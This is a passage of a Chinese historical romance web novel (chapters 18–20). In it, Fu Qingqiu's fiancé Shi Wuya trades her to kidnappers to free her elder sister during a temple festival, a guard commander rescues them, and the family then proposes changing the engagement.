“不用了,绿柳,明日你说我病了,我好累。”付清秋杏眼莹润,说着泪又落下。 绿柳忧心道:“姑娘,今日没吃些什么,可要吃些果子,我那些来。” 付清秋自顾自地地走至门前,木讷地摇摇头。 绿柳见她如此,心下担忧,只怕明日付清秋又不出门,韦氏担心之余,便拿她和云露问话。 月华如水,薄纱轻拢帷帐,窗棂淌过清亮月光。 付清秋眼酸心乏,一夜未眠,她细细回想在荷花池边所说的一番话,两人所说的话都如同刀子,狠狠往对方身上刺。 付清秋不愿去深想,她害怕看见师无涯那冷漠阴沉的目光。 是日清晨,付清秋眼周乌青,双眸透红,晨曦碎光照入室内,绿柳小心进屋。 “姑娘。” 付清秋窝在床上,抱膝蜷缩成团,浮肿莹亮的双眸似鹿儿眼,懵懂地盯着她看,绿柳正欲问她,却听她哑声:“绿柳,晚些时候我要去见阿娘,但这会我还困着,你去回母亲罢。” 绿柳听她这般说,便要退下,可在关门时,又听见她弱弱地道:“其实我有点难过。” 付清秋这话并非对她说,绿柳饶是听见,也不好进屋去,只当作没听见。 待绿柳走后,付清秋沉沉睡下,因先前她说晚些时候,绿柳没能问清楚,守在廊下等她醒,这一等便是大半日。 这一觉睡得不安稳,申时一刻,她便醒了,醒后愣愣地发呆放空,申时三刻,她起身从楠木书架上取出一叠印花笺。 仲夏日长,日光破窗而入,映着天青色砚台,一杆狼毫笔不停地写。 时近酉时,绿柳见屋内仍无动静,心生不安,便叩门问:“姑娘可醒了?” 闻声,付清秋一个激灵,迅速眨了眨眼,她光顾着写东西,全然忘记白日里说过的话,付清秋支开菱花窗,将印花笺收好放回去。 “我醒了,进来为我梳妆。”付清秋慢慢坐至妆镜前,散散地打了个哈欠。 绿柳同云露一道进屋,洗漱完毕,付清秋拿热帕子敷了敷眼睛,梳妆后,她打量着镜中的自己,转头问:“我今日有什么不一样吗?” 绿柳摇摇头,云露半弯着眼,笑道:“姑娘的眼睛比平日更水灵了,和珍珠一样漂亮。” “是吗?”付清秋抬手轻抚眼角,怏怏不乐。 这几日付远衡因朝中事务忙的脚不沾地,付高越自那日送花过后,也不常见,韦氏正房陈设清雅冷淡,付清秋总觉不安。 付清秋与韦氏一道用饭,饭后,两人嬉笑言谈,谈及六月二十四州西灌口二郎神生日。 韦氏因说:“你往日最爱热闹,正巧出去多逛逛,也求个一个福缘,纵使没有,也乐呵乐呵去。” 付清秋兴致缺缺,轻言细语道:“阿娘,我不想去。” 这倒怪了。韦氏借着飘摇烛光,目光祥和地看她,微微蹙眉,问:“你哭过了?怎么了,和阿娘说说。” 付清秋不肯抬头,埋在韦氏怀里蹭了蹭,低声道:“阿娘,我只是觉得年年都一样,没什么趣儿,不过哥哥们都去的话,我就跟着去” “远衡怕是没空,问问高越带你去,若你想,带上清岁一道罢,互相有个照应,再说旧宋门外的冷元子,你不想吃了?”韦氏温声劝道,“哪儿的百戏,杂嚼花样多,哪儿年年都一样了。” “阿娘!”付清秋娇嗔,“那今年多给我点银子罢。” 韦氏听她如此说,不由得笑道:“合着你在这里算计我?” “那倒没有,只想多买些小玩意儿,阿娘这都舍不得呀。”付清秋抿开甜笑,“阿娘,那我想穿那件石青色绣金牡丹花罗裙好吗。” “不妥。”半晌,韦氏拧眉道:“我已让云露绿柳为你置办好了,只管放心去玩,这些小事便不要在意了。” 付清秋正欲撒娇,却见韦氏眉目肃然,只好寻个由头回屋去,免得迁出花的事来,这些天韦氏不曾去她的院子,还不晓得院后种的花。 夏日绵长,季夏暑气正盛,绿荫幽深,唯院前青梅树越发萧条,横生几分悲凉之意。 六月这大半个月,付清秋因韦氏怕她中暑,便令她少出门,付清秋本就不想出门,这样一来心里松快许多。 付清岁曾提着糕点来见她,付清秋不肯和她多说,付清岁自讨没趣,原想给师无涯讨情的心思也淡了下去,寒暄几句便不再来。 这些天付清秋对师无涯只字不提,每日只懒散地练字看书,绿柳几次奉茶,都见付清秋将书拿反。 六月二十三日,宫中献送戏玩之物,保神观中僧人郑重迎接,又因官家重视民间节日,在保神观殿前露台上设技艺百戏。 这夜皓月当空,满城灯火璀璨生辉,街头巷尾彩灯高挂,各色琉璃雕花提灯,点彻繁闹长夜。 付清秋虽与付清岁同乘马车,但却并无一言可说,只打量着帘外热闹街景,盛婼前两日传信说要和她一道逛夜市,付清秋想也没想的应了。 这两日正是最热闹的时候,街巷路口尽是杂嚼,炙肉、义塘甜瓜、水鹅梨、金杏......数不胜数,保神观前亦有相扑、说浑话、鼓板...... 人声鼎沸,京师酒楼缚彩楼欢门,煌煌灯色下,游人欢声笑语,付清秋欲独自往保神观去,付清岁出言阻拦。 “观前人多,鱼龙混杂,你若是走散了如何办,待到明日在去寻盛三姑娘也不迟。”付清岁凝眉,人潮拥堵几近擦肩而过。 付清秋不以为意,回首笑道:“大姐姐,我跟着你作甚,扰了你和无涯哥哥的清净,可别为着我担心,又不是第一回,何须说这么多呢。” “正是如此,才不能让你一个人。”付清岁面色凝重,回想上次金明池一事,因她不在才致付清秋落水。这回说什么她也不能让付清秋一个人。 两人正僵持不下,盛婼忽从人堆里冲至付清秋身边,恰此时师无涯也行至付清岁身旁。 见此,付清秋垂眸,唇边勾出一抹冷笑。 师无涯微怔,眸中倒映着她纤薄的身影,自上次荷花池边后,二人再未见过,如今乍一见,师无涯只觉她越发清瘦了。 18、第18章 灯色莹煌,清风拂面,万胜门前挂满彩灯,付清秋正欲和盛婼去往保神观,不管付清岁是否应允,她势必要去。 盛婼只一眼便看出这三人不对劲,不好多做停留,于是侧目去看付清秋。 付清岁仍出声拦道:“清秋,你此去不顾我们姐妹情分了吗?何苦要让我为难,我不过是为了母亲想。” 若不是韦氏要她时时看顾付清秋,她何须一双眼睛都长在她身上。思及此,付清岁神色沉郁,眉目忧愁,烛光之下极尽可怜之态。 盛婼最不喜这般可怜博同情的姿态,便冷声道:“付大姑娘怎么如此不讲理,难不成我盛家就没有人了?再说付二走失还有我在,只管问我要人。” 这本是付清秋的家事,她不该管,可付清岁如此做派,盛婼生怕付清秋吃亏。 风声萧萧,付清秋顿感风冷,这片刻她余光看向白衣胜雪的师无涯,汴京的世家子弟付清秋见过许多,虽有不少芝兰玉树、风流倜傥的郎君,但师无涯却总散漫无调,总会让付清秋忘记他身上的刺。 她还是做不到不喜欢他,或是十二年来,她对他施加许多愿景,以至如今她都未能对他彻底失望。 付清秋不再冷言冷语,她平声静气道:“姐姐,我和盛姐姐一道,就算出了事,也有盛姐姐在,再说,阿娘那边自有我去说。” 闻言,师无涯不以为意,忽然出声,“你不愿去,谁能拦得住你。” “你是什么人物,用得着你来说教?”盛婼柳眉倒竖,上前一步,挡在付清秋身前。 付清秋是付家嫡幼女,父母尚在,盛婼原以为她在家必定受宠,至少有说得上话的份,却不曾想她竟是处处受到掣肘。 盛婼怒从中来,只觉她在盛家举步维艰,心中更是怜爱付清秋。 可这街头闹市,当真闹起来,实在难看,更何况付清秋理亏,她知盛婼的性子,眼疾手快地拉住她往保神观去。 盛婼还未来得及发作,就被付清秋拉着一路疾跑,徒留付清岁和师无涯怔在原地。 盛婼气她不争,甩开她的手,嫌恶道:“好没骨气,话还未说完就跑了,你在家就是当软柿子的?”她扯回手,站定身子等着付清秋给她个说法。 月影如钩,风扬柳叶,旋即落入汴河,万胜门临近汴河,河边垂柳如洗,飘着少许精巧花灯。 付清秋与盛婼傍河走,一红一绿,头簪鲜花,身着轻盈罗裙,倩影亭亭,只消一眼便知身份不俗,定是京中贵女。 良久,付清秋才弱弱开口,道:“盛姐姐,其实不是这样的。” “那是怎样?”盛婼漫不经心地问,目光扫过青伞布的床凳,床凳上摆着各色磨喝乐,以及果食将军。 这两日万胜门行人熙攘,商贩当街买应季的果子糕点,恰逢百戏搭棚,一来二往,盛婼竟也看花了眼。 六月二十四过,再不久便是七夕,到时又有的热闹。 盛婼正想着七夕该如何约付清秋出门,却听她轻声细语地开口。 “我爹娘对我很好,姐姐也是为了我的安危着想,但我心里闹得慌,不想和她说话。”言罢,盛婼回过神来,打量着付清秋。 盛婼疑道:“那方才说话的郎君是谁?怎么没听你提过?”付家兄弟她是见过的,但她不认识说话的那人。 但又有几分眼熟,实在是想不明白在哪儿见过。 付清秋垂眸,恹恹地说:“是我的未婚夫。” 盛婼登时大为火光,揪着付清秋往清净地去,保神观后巷,人少深静,盛婼支开红菱、绿柳、云露,独二人闲谈。 观前百戏唱的正热闹,璀璨生辉,乐声不绝,火光照不到这条小巷。 “你何时有个未婚夫了?好啊你,付二,你瞒着我?”盛婼气她没良心,她掏心掏肺对她,恨不能替她在付家争一口气。 到头来,她竟不晓得付清秋有个未婚夫。 付清秋见她气恼,忙解释道:“盛姐姐,这件事说来话长,我不是故意瞒着你的,我从没当盛姐姐是外人,盛姐姐拿真心对我,我心里怎么会不知道。” 罢了。盛婼听她言辞恳切,不像假话,哼声坐在石凳上。 付清秋见此,巴巴地凑到她身边,晃着盛婼的手,轻声软语道:“好姐姐,我才不愿意骗你,在这汴京我就只有盛姐姐这个好姐姐了,我只将这是告诉了你一个人,切忌替我保密。” 盛婼抿唇不语,任她百般撒娇,终是败下阵来,看她一眼。 “行啊,付二,你藏得这么深,我可从未听到一点风声,你那里就平白无故地冒出一个未婚夫,莫不是哄我的?”盛婼眸光坚定,似是在诈她。 可付清秋并未说话,如此一来,她眸中含冤,清亮亮的一片,比那挂在天上的月亮还清透。 盛婼算是吃了亏,别开眼,“罢了罢了,付二,我就当你说的是真的。” 付清秋不愿瞒着盛婼,话说到这个份上,就将往时往日往景全数说了出来,听得盛婼连连蹙眉,暗道付二果然是个不争气的倔葫芦。 她心里如此想,又不忍见付清秋执迷不悟,便说汴京的好儿郎,想劝解一二,没曾想付清秋却回她一句。 “我一辈子都只喜欢他。” 她和师无涯实打实的十二年,杭州旧宅里,她们朝夕相伴,无话不说,是谁也代替不了的存在,她这一辈子都只认师无涯。 盛婼听她这样说,又气又急,“付二,没骨气!” 付清秋自知理亏,可盛婼不曾爱慕过谁,怎么会知道她的心思,只好顺势应承,先将盛婼哄好。 戌时一刻,付清秋与盛婼看过保神观前的百戏,买了点心回任家酒楼,付清岁正等着她回来,见人无恙才堪堪松了口气。 街上行人不减,仍旧繁闹,月色渐浓。 盛婼将人送回便离开了,付清秋心知付清岁是为她好,但却不愿同她说话,总归心里惦记着以往的那些事。 付清岁无奈,仍由她去,只要人没事就好。 明日二十四,须得早起上香,师无涯自晓得分寸,付清岁思来想去,还是想去叮嘱付清秋,至付清秋房前来回踱步。 付清秋自然瞧见了她,再三挣扎后起身去开门,忸怩开口:“姐姐有何事?” 付清岁猝然一惊,直言其事:“明日须得早起上香,怕你忘了,或是不去都与我说一声,也并非——” “我会去的。”付清秋道。 语罢,付清岁还欲再说些什么,只听付清秋道:“姐姐,想说什么我知道,但我不想听,你知无涯哥哥,难道就不知我么。” 怎么会不知,正因知道,她才如此犹豫。 月色融融,星子扑朔,酒楼灯烛渐熄,付清岁不再言语,颔首回屋。 待她走后,师无涯方从正堂上来,途经付清秋门前时,他不由自主地停下,往房内望去,乍一眼还未看够,只见那灯烛一熄,归于黑寂。 付清秋与他一月未见,她竟无一丝一毫地伤心难过,可这在从前却是一桩罕见的事,仿佛有人窃取了她的神魂,令她一夕之间忘记了他。 如此种种,师无涯深感厌烦,分明不想去在意她,偏偏又将这些细致的事牢牢记下,甚至害怕她夜里危险,一路跟至保神观前。 师无涯眉心紧蹙,临动身离开前,又鬼使神差地回头看了一眼黑森森地房间。 酒楼正堂的灯火熹微,风声过耳,师无涯回房时,正巧迎上付清岁出门。 付清岁惊疑,温声问道:“三哥去哪儿了?” 师无涯脚下一顿,推开房门,淡声道:“饿了。” “可要吃些点心?”付清岁关切道。 “不用,早些歇息,明日早起。”师无涯心烦意乱,似又想起什么,“付二姑娘也去吗?” 付清岁浅笑颔首。 闻言,师无涯不自觉松了眉头,神色轻松,眸中泛起一丝不易察觉地笑意。 他长舒一口气,暗想这么多年,付清秋怎么会甘心放下,许是在等着他先开口,从前是如此,如今不过是气得久了。 既如此,便顺她一回又如何。 19、第19章 寅时一刻,月归云,街上已有行人逐步往保神观去,付清岁并冬盈早早梳妆净面,现下付清岁去唤付清秋,冬盈则去楼下寻绿柳。 酒楼灯火彻夜长明,亮彻正堂,在这住下的客人大多也要去保神观上香。 付清秋怕不能早起,于是一夜未眠,付清岁来唤她时,她即刻开了门。 正巧绿柳与冬盈上楼来,待到付清秋梳洗完毕,只等师无涯出来。 眼下天还未明,付清秋打量着窗外幡然不灭的灯笼,与这绵绵长夜不甚相合,就连高挂的明月都被隐了去。 不多时,绿柳上楼来请付清秋,付高越在楼下等着她,付清秋仔细瞧了瞧,只付高越一人等着她。 付清秋与付高越一道前往保神观,付清岁自然而然地和师无涯一道。 二人行至万胜门前,付高越似是想到什么,忽地开口问她,“你今日怎么不和师无涯一起?” “二哥哥不想和我一起?”付清秋径直反问,她心底自然是在意的,只是先前他们吵得不欢而散,她心里有气,师无涯估计恨透她了。 她哪里好再凑上去。思及此,付清秋轻叹口气。 付高越生怕再惹到她,便不再问,讪讪道:“自然是想的。” 保神观前灯火莹煌,供桌上已摆满百姓献送的贡品,此时前来上香的人并不多,按说应当二十四晚上来上香,韦氏吩咐不可多留,便只好提早一日,早些回去。 更何况,保神观这几日上香的人多,鱼龙混杂避开风头总不会出错。 付清岁与盛婵在观前相遇,盛婵眼中生喜,忙不迭地拉过她,张小娘子温婉一笑,示意她去。 盛婼跟在二人身后,只当没瞧见这幕,仍向付清岁施礼,见付清岁在此,盛婼便要去寻付清秋,只一眼便在露台边上看见了付高越,付高越忽感身上一阵寒意,抬眸望去,只瞧见灯色下的明媚美人柳眉倒竖。 盛婼不喜付高越,见他在,转头就走,偏生付清秋没瞧见盛婼。 付高越见她恼了,没由来心慌,忙转身去寻她,他回身匆匆道:“清秋,我有事,待会来寻你。” “二哥哥!?”付清秋不明所以,急道,“你去哪儿,二哥哥!” 保神观前人潮涌动,付高越三两步消失在眼前,他一走,付清秋失了主心骨。往年她虽来保神观上香,却从没一个人逛过,如今倒好,只剩她一人在露台。 灯烛映天,观中香火浓郁,袅袅青烟升起,隔着缭绕白烟,师无涯站在不远处望向她。 付清秋看不真切,只见师无涯衣袍胜雪,似清风朗月逐步朝她走来,恍然之间,她听到胸膛起伏的心跳声,什么厌恶不喜欢,都是假的。 只要师无涯望向她,她便会败下阵来。 清风明月,搅散阵阵白烟,弯月出云,洒下一地银光。 付清秋心思混乱,什么恨,什么喜欢,好似都随风飘走,直至师无涯走到她面前,她仍没回过神来。 “无涯哥哥。”她垂首低声唤他,不去抬眸看他,是她最后的倔强。 师无涯见她如此羞怯,只觉好笑,果真如他所想,只要他一勾手,付清秋便会凑上来。 半晌,师无涯垂眸,懒懒道:“二哥有事,你与我一道如何?” 付清秋又惊又喜,面上却平静如水,颤颤抬眸,淡声应了句“好”。 师无涯见四周人多,便带着她先去大殿上香,不过此刻人忽地少了起来,付清秋手持三柱香,跪得十分虔诚,三拜过后,她起身绕过供桌却听见里头有声传出来,师无涯自然也听见了。 不待细想是为何,就见大殿中烛光倏忽熄灭,殿门砰然一声关上,惊得付清秋洒落香灰,烫伤了手。 “无涯哥哥,这是怎么了?”她心生不安,往师无涯身边凑去。 大殿之中还有人在,那轻细的声音,是从供桌后的神像传出来的。 师无涯剑眉紧蹙,打量着四周的情形,他顺势握住付清秋的手,凭借凉薄清淡的月光,带她往供桌的另一边绕去。 保神观内佛像并不多,敬奉的是二郎神,正因如此,大殿格外空旷,放大了细微的声音。 付清秋不敢乱动,掌心沁出冷汗,在密闭漆黑的大殿里生出无边的恐惧,那声音仍在不断地发出,师无涯紧握住她的手。 师无涯还未听清那声音的来处,大殿外露台闹哄哄一片,霎时间各自奔走逃命。 付清秋听见拔刀弄剑的声音,可皇城脚下,怎么会有人如此大胆。 “别怕。” 师无涯弯下身低声抚慰,他捂住付清秋的双耳,轻声道:“大殿里有人,别出声。” 付清秋不自觉地屏住呼吸,不敢大喘气,不知过了多久,外头陡然静了下来。 她心有余悸,仍怔在原地,师无涯俯身注视她,四目相对之时,他一反常态,柔情似水地盯着她,仿佛在和他说“别怕” 师无涯看着往日的那双水润灵动的杏眸,此刻却因受惊惶恐,瞳仁不断颤抖。 “往后走,我们从后面绕出去。”他动身牵起付清秋往神像后面去。 保神观神像后是一片树林,平日里僧人们的斋戒地,这会没有灯烛,只有一抹轻浅的月光,显得幽静得诡异。 付清秋不作他想,全身心地跟着师无涯,这是她唯一的倚靠。 她心里固然害怕,却又师无涯在她身边生出几分安心。 月色清亮,风声疏狂,殿内的香火气渐渐消散,取而代之的是冷潮的土腥气,似乎是要下雨了。 “无涯哥哥那声音又出来了。”付清秋轻声道。 闻言,师无涯加快脚步,仿佛是要带她冲破黑夜,付清秋实在跟不上他,不过三两步便累得直不起身。 “我不行了,无涯哥哥能不能歇一歇。”她急喘着气,眸光轻颤道。 “矫情。” 师无涯将她打横抱起直往外去,怀中人身轻如燕,他没忍住想她竟这样纤瘦。 付清秋一时受惊,待反应过来,耳畔已是呼啸而过的疾风。付清秋抱着他的肩颈,她抬眸看他,只见他眼中无甚悲喜,神情肃穆急切,无一丝松懈。 咻—— 一支箭矢破空而来,师无涯横眉往后撤了一步,小心放下她,“你待在我身后不要乱走。” “谁?” 师无涯眸光如鹰隼打量四下,最终朝着箭来的方向扬声喊道。 付清秋何曾见过这等情景,捂着发慌闷堵的胸膛,如今她只能躲在他的身后,敌人在暗处,而他们却暴露无余。 倏忽,那轻细的声音再次出现,付清秋莫名觉得有些熟悉,脑子里冒出一个念头,却又不敢深想,连连摇头。 那人身着夜行衣手中持剑,拖着一个纤弱的女子走了出来,随他一道的还有个持箭的黑衣人。 “姐姐!” 付清秋瞳仁骤缩,惊呼一声。 付清岁颈上悬剑,早已泪流满面,因口塞布条,她只能呜咽出声,见来人是付清秋,她急得眼泪横流。 “你们是谁的人?”师无涯眉头紧蹙,双手紧攥成拳,却仍镇定地与之周旋道,“你可知绑的是什么人。” 那人不耐烦,吼道:“你管我什么人,如今你们三人上路也有个伴儿。” 夜雨来急,雨滴拍打门窗,疾风骤雨,卷落殿外枝头绿叶,搅得人心乱如麻。 付清秋腹背俱寒,鼻尖一酸,眼底升起水雾,雨来得急,啪嗒啪嗒地击溃她心底最后一道防线。 “既是要死,何不让人死个明白,”师无涯环顾四周,“这地方有暗门,想必你们早已来过,是专门拐女子来的?” 付清秋低声啜泣,伸手攥住师无涯的衣角,师无涯眼尾一扫,见她如此,他忽地轻笑一声,反手叩住付清秋的手腕,将她扯到身前。 恰在此时,殿外闪过一道紫白惊雷,乍然天明,殿内萧条光景一览无余,风雨中雨腥味更重,弥漫在大殿之中闷涩,窒息。 付清岁颈上利剑逼喉,只需一点力便可破喉流血,付清秋见那几人像亡命之徒,紧攥住师无涯的手。 付清岁目光悲戚,可怜又无助地眼神,直直望向师无涯,那一瞬间,付清秋侧目看他,只觉师无涯恨不能冲到付清岁身边。 她正想着,却听师无涯蓦然出声。 “我用她和你们换她。” 付清秋心中一凛,脸色煞白,不可置信地抬眸望向他,这话如殿外惊雷劈下,使她浑身血液倒灌,直涌上肺腑。 持箭那人深恐师无涯耍诈,已举箭对着付清秋,箭矢绷在弦上,此刻付清秋明白死亡离自己有多近。 害怕,恐惧,失望,付清秋不知是哪一种情绪占据了主导,此刻眼泪成了断了线的珠子。 付清秋颤抖的瞳仁倒映着一支泛着银光的箭矢。 只要一箭,她就会死在保神观。 而这一切间接导致者竟是她喜欢了十二年的未婚夫。 若换作常人,谁会一命换命,付清秋千言万语凝在喉间,最终只是低眉苦笑,她被师无涯攥紧的手腕成了笑话,不过是要换付清岁而已。 “她与她有什么不同?”持剑人发问。 师无涯漫不经心地望向殿外,语气不耐道:“是正经的大小姐,我早厌了她,跟在我身后怯懦胆小,拿她才是护身符,此刻殿外定然围了守备军,何故争个你死我活。” 其实那些贬低她的话,她早已听过不下百遍,但此时她已经不在意了。 付清秋抬起泪眼,只静静地说了一句,“师无涯,我此生永不原谅。” 师无涯长睫低垂,漆黑的眸子里映着她的单薄发颤的身影,翩然灵动,哭得梨花带雨,恰如春日枝头雪白杏花。 “付二姑娘,对不住了。”师无涯挑眉轻笑,将她推到两人面前。 黑衣人自然明白拿谁才能出去,况师无涯说得认真,自然愿意交换。 持剑壮汉放了付清岁,顺手一推就将她推进了师无涯怀里,付清岁朝师无涯微微摇头,示意他不要轻举妄动,寡不敌众,更何况她和付清秋只是女子。 师无涯动作极轻地扶住她,轻轻地扯出她口中布条,俯身在她耳边低语呢喃。 付清岁被护在他身后,纵使没有牵着她,付清秋却也明白,师无涯心里最在意的是谁。 十二年的春秋,原来只是她一个人的长梦。 20、第20章 保神观外雨如跳珠,风卷残灯,檐下水帘不止。 大殿内几人屏息凝神,黑衣人心知观外已围满铁甲卫兵,为保命他只好将刀剑对准付清秋,付清秋被勒着脖颈,呼吸滞塞,漫卷恐惧、害怕萦绕她心头。 她止不住地发抖,泪眼酸涩,惊恐之下泪水夺眶而出。 那两人挟持着她往观外去,只是这回他们不再往暗门去,而是踱步到大开的保神观殿门,付清岁小心谨慎地跟在师无涯身后,几人一道迎着夜雨走出保神观。 殿外白雨映长夜,森森似银竹,卫兵手中火把照彻雨夜。 金吾卫将保神观围得水泄不通,闻讯前来的付彰顾不上打伞,他的背影沧桑,鬓发灰白,与他一道快步赶来的还有付高越。 领金吾卫的而来的是个青年男子,名叫杨淮蔺,是襄王妃的侄子。他身着绛色袍服,腰佩长剑,目光凌厉地扫过保神观大殿,最终将视线停在师无涯身上。 半晌,他翻身下马。 “是何人作乱?”杨淮蔺扬声道。 付清岁闻声望去,只觉此人说话声音似曾相识。 黑衣人压紧手上利剑,付清秋颈上悬剑靠得越来越近,皮肉和刀刃来回摩擦,早已开刃见红,只是并不伤及性命。 那点疼痛不及此刻她身心俱疲,潇潇大雨,垂打在身上犹如水刑,雨水模糊她仓惶的眉眼。 付高越远远地喊了声“清秋!” 付彰悼心疾首,哑声道:“被挟持之人乃是我幼女,自小养在深闺,何曾见过这些,求大人一定要保全小女!” 骤雨之下,付彰说话之声悲愤有力,透着凄凉无奈,付高越也向杨淮蔺拱手作揖。 若为缉拿罪犯伤及无辜,实乃荒唐。杨淮蔺受不起付彰如此大礼,随之还礼,道:“尚书大人言重了。” 杨淮蔺只身一人往观前去,他命金吾卫往后撤,黑衣人见有人走来,抵紧了剑,付清秋疼得出声。 “别乱动。”持剑人紧叩手中人质,厉声威胁道。 师无涯与黑衣人相隔不远,但因他二人警惕,不能轻易靠近。 付清岁觉察师无涯似有动作,忙攥住师无涯的衣角,眉目极尽可怜,她摇了摇头。 师无涯并未回应她,仍旧凝神观察黑衣人的动作。 杨淮蔺孤身踏入,手持一柄云纹青罗伞,不疾不徐地站定,走近时,他才发觉师无涯身后还有一女子。 “别过来,否则我就杀了他们。”持箭人箭指师无涯与付清岁,另一人则死死勒住付清秋的脖颈,付清秋几度窒息,却又猛地吸了口气。 长月如钩,只几盏飘摇的烛光,檐下积水荡漾。 杨淮蔺从容看向师无涯,随手紧了紧袖口。 师无涯不动声色地轻扯窄袖,余光扫向杨淮蔺,来人不明,不知身份,他并不放心。 “不要伤着小娘子,对姑娘理应温柔些。”杨淮蔺不紧不慢地笑道,“只要能放了她,我放了你们又如何。” 他言辞轻快,格外闲散,在这风雨飘摇的月夜里,将话说得如此轻松,倒不像来缉拿犯人的,反而像是风流的侠客。 黑衣人左右张望,冷笑道:“我放了她,恐怕当场毙命,送我兄弟二人出城,速速备马。” 杨淮蔺道:“我决不食言,如果你二人不愿的话——”他慢步往前靠近,逼得黑衣人连连后退,两人的齐齐望向杨淮蔺。 “别往前来了。”持箭人怒目横眉盯着他,逼他退后。 “我只身一人有何可怕的。”杨淮蔺语气轻慢,脚下步子却越来越快。 他快步逼近持箭人,二人手忙脚乱地要拦他,趁着他们分神之际,师无涯趁机放出袖箭。 持箭人连射三箭,皆被杨淮蔺以伞挡下,箭矢穿过雨帘,破空飞来,杨淮蔺迅速抽剑相抵,随后飞身临至付清岁身前,将伞递给她。 “别着凉了。” 语罢,杨淮蔺前去救付清秋,师无涯正和持剑人痴缠,他赤手空拳以身法绕开剑锋。 此刻付清秋堪堪松了口气,付清岁忙上前去扶住她过来,还未来得及安抚她,又见一支利箭朝她二人飞来。 师无涯听着箭风,慌忙回头,当即伸手推开付清岁。 持剑人提剑冲向付清秋,他手中长剑横刺,付清岁跌倒在地,眼见那人扑向付清秋。 杨淮蔺动作极快,眉目一凛,伸手揽过付清秋,而那一剑落在了师无涯的左臂,泊泊鲜血染透白衣。 两人同时出手,但杨淮蔺轻功比他好,师无涯迟一步只能以身挡剑。 付清秋恍然失措,方才师无涯又一次选择了姐姐。 此刻她被杨淮蔺圈在怀里,他温热的气息掩盖了她身上的风霜寒气。 “多,谢。”付清秋后知后觉,颤颤巍巍地吐出两个字。 杨淮蔺来不及和她说话,转身挑开黑衣人的剑,恰此时金吾卫赶来,将两人团团围住。 细雨如丝,几人衣襟沾雨,寒风一吹,付清秋身上发颤,怔怔地站在原地,方才的变故好似一场噩梦。 梦里喜欢的人将她推入悬崖,她险些丧命保神观。 杨淮蔺有条不紊地处理保神观,命人押走黑衣人。 付彰和付高越并几个家丁急急赶来,付彰老泪纵横,健步如飞。杨淮蔺望着这幕,心道有趣,朝堂上老成稳重的尚书大人,私底下竟还有这一面。 付高越急得泪光扑闪,哑然道:“疼不疼,二哥哥看看。” 付清秋眸光呆滞,一言不发,脑海混沌紊乱,如同今夜的疾风骤雨,吹倒遍地狼藉,她只觉心乱如杂草。见付清秋颈上一道红痕还在流血,付彰气得甩袖,忙道:“去请大夫来。” 付清岁极力平复心绪,慢慢收好油纸伞,递还给站在身旁的杨淮蔺,“多谢。” 她的声音轻细婉转,细雨之中,却显得凄凉落寞,付清岁颤颤抬眸,记下他的样貌,勉强一笑。 杨淮蔺顺手接过,问:“你是谁?”付彰只和他说有幼女一人,却并未说付清岁的来历,他这一问让付清岁慌神。 付彰护着付清秋离开,付高越刚踏出两步,似想起什么,回首朝付清岁道:“清岁,快回去。” 话落,杨淮蔺轻咳一声,暗道自己唐突,旋即笑道:“付娘子,我送你回府罢。” 杨淮蔺让人送师无涯去医馆,自己则送付清岁回付宅。 这夜的冷雨沁人,付清岁冻得唇齿打颤,方才的事不止付清秋惊惧,她也吓得神魂失守,只是又有谁在意她呢,付清岁长舒一口气。 金乌渐醒,荧星亮光自东边发散,蒙蒙晨雨,似清透薄纱,青石板路湿润油亮,汴河边垂柳落泪。 “付娘子倒是坚韧,寻常女子遇着这些早已吓得花容失色,付娘子这般镇定的我倒是头一次见。”杨淮蔺不自觉地弯唇。 付清岁淡声道:“中郎将说笑了,哪有人不害怕的。” 生死危难之际,她怎么不害怕,只是因为害怕无用,强撑着一口气罢了。 杨淮蔺的夸赞她不敢当。 “就送到这儿罢,多谢中郎将。”付清岁颔首福身,不愿再与他多走。 “好。” 见细雨如尘,杨淮蔺心念一动,将伞赠予付清岁,“姑娘家着凉了总归是不好的,赠伞与你,暂避风霜。” 付清岁眸光泛起涟漪,怔在原地。 他的青罗伞向她倾斜,伞上所绘青云栩栩如生,寥寥几笔勾勒出片片残云。 “多谢中郎将。” 付清岁接过伞,微微颔首,转身离去。 长街小雨濛濛,佳人身影纤薄,杨淮蔺目送她消失,浑然不觉自己身在雨中。 时至正午,乌云尽散,晴空如洗,庭中槐花压枝欲坠。 付清岁并未回棠院,而是径直去正屋寻韦氏,保神观一事,韦氏定会寻她的错处,不如早些自己认下得个轻松。 只是她扑了个空,韦氏如今正在杏院守着付清秋,直到亥时才与付彰回屋来。 付清岁在正屋候着韦氏,她见韦氏眼下浮肿,面容憔悴,不复往日盛气富贵的模样。 韦氏见她在此,长叹口气。 “保神观一事,不怪你,你吓着了,也回去歇着罢。”韦氏愁眉不展,哑声道。 闻言,付清岁垂首退下,她走时,正巧碰上付彰带着师无涯往正厅去。 师无涯左臂上缠着绢布,依稀可见淡淡的血痕。付清岁暗暗垂眸,忽地想起那时师无涯在保神观内对她说的几句话。 人倔至此,世无其二。 思及此,付清岁兀自摇摇头,她倒忘了,付清秋便是其二。 * 暮色四合,长风吹彻汴京,雨后天青如碧。 正厅里女使点起灯烛,付彰屏退众人,师无涯不解其意。 房内烛火翩然,映出一张惆怅沧桑的面容。 半晌,付彰沉声道:“无涯,这回幸好有你在,清岁才得以安然脱身,我也不同你绕弯子,只有一句话想问你。” 师无涯轻声道:“伯父有话直说,不必与我周旋。” 付彰听他如此说,直言其事:“既如此,那我便问你,你心中是否属意清岁。” 保神观一事,付清岁毫发无伤,而付清秋颈上受剑伤,又因受惊过度至今还未醒来。 昨夜师无涯始终护在付清岁身边,付彰一一看在眼里,师无涯不喜付清秋,那便成全他和付清岁,总归还是付家的女婿。 这也正好遂了韦氏和他的心意。 “伯父是要我悔婚娶清岁对吗?”师无涯语气生冷,眼中倒映飘摇的烛火。 付彰闻言,解释道:“无涯,我并无悔婚之意,不过是见你与清岁情深意重,便想顺了你的意,总归还是我付家的女婿,只消你一句话,我便命人去合你们的八字。” “清岁自幼饱读诗书,温婉贤淑,与你年岁相合,若是能成自然是美事一桩,清秋自小散漫固执,与你恐怕不是良配,当年定亲之时也未曾想将清秋养成这个性子。” “若是你父亲在,应当也是愿意的,他这一生便是盼着你能平安顺遂——” 谈及师远,师无涯眸光一凛,登时站起身,沉声道:“够了,我父亲如何,不用伯父来说,亦不必用我父亲压我。” “你与我父亲又有多深厚的情谊,字字句句不离他。”师无涯蓦然转身,烛光半掩着他,纤长浓密的睫毛投射出一片阴影,他冷哼一声。 “伯父,不过是想要回当年放在我这的青玉镯,您放心我绝不高攀付家。” 